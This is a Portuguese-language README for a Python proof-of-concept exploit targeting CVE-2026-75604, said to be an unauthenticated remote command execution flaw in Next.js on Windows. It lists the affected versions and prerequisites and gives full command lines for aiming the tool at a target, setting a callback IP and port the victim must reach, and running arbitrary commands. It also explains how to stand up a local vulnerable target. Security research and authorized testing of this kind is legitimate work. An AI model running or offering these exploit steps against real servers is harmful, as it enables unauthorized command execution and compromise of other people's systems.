PoC de RCE para CVE-2026-75604

Prova de conceito em Python para a CVE-2026-75604, uma vulnerabilidade de execução remota de comandos sem autenticação em aplicações Next.js hospedadas no Windows que utilizam tanto o Pages Router quanto o App Router sem Cache Components.

Demonstração

Requisitos

• Next.js >=13.4 <15.5.24 ou >=16.0 <16.3.3
• Servidor Windows nativo
• Pages Router e App Router sem Cache Components
• Cache padrão do sistema de arquivos com uma rota ISR dinâmica do Pages e uma rota App dinâmica em cache
• Uma Server Action compatível vinculada a closure
• Python 3.9+ e um endereço de callback acessível pelo alvo

Validado com [email protected].

python -m pip install -r requirements.txt

Uso

python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

O caminho da Server Action tem como padrão /. Use --action-field quando o formulário dela tiver mais de um campo.

Argumentos obrigatórios:

• --target URL: URL base da aplicação Next.js
• --callback-ip ADDRESS: endereço IPv4 acessível pelo alvo
• --pages-cache-path PATH: página ISR dinâmica existente do Pages Router
• --app-cache-path PATH: página dinâmica existente do App Router suportada pelo cache do sistema de arquivos

Argumentos opcionais:

• --command COMMAND: comando a executar; padrão whoami
• --action-path PATH: página do App Router que contém a Server Action compatível; padrão /
• --action-field NAME: campo do formulário consumido pela action; detectado automaticamente quando não é ambíguo
• --callback-port PORT: porta de callback; padrão 4331
• --listen-address ADDRESS: endereço local de bind do callback; padrão 0.0.0.0
• --timeout SECONDS: tempo limite de requisição e callback; padrão 20
• --insecure: desativa a verificação de certificado TLS

Alvo local

A aplicação opcional em target/ fixa [email protected] e usa o servidor de produção padrão do Next.js:

cd target
npm ci
npm run build
npm start

Execute o PoC em outro terminal:

python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

O alvo opcional fornece as rotas necessárias e uma Server Action compatível em /.

Aviso legal

Este PoC é fornecido apenas para fins educacionais, pesquisa de segurança e testes autorizados. Use-o somente em sistemas que você possui ou para os quais tem permissão explícita de teste.

Créditos

Créditos a evolutionstorm e b0r1.

Este PoC foi reconstruído de forma independente a partir do advisory público e do patch do Next.js.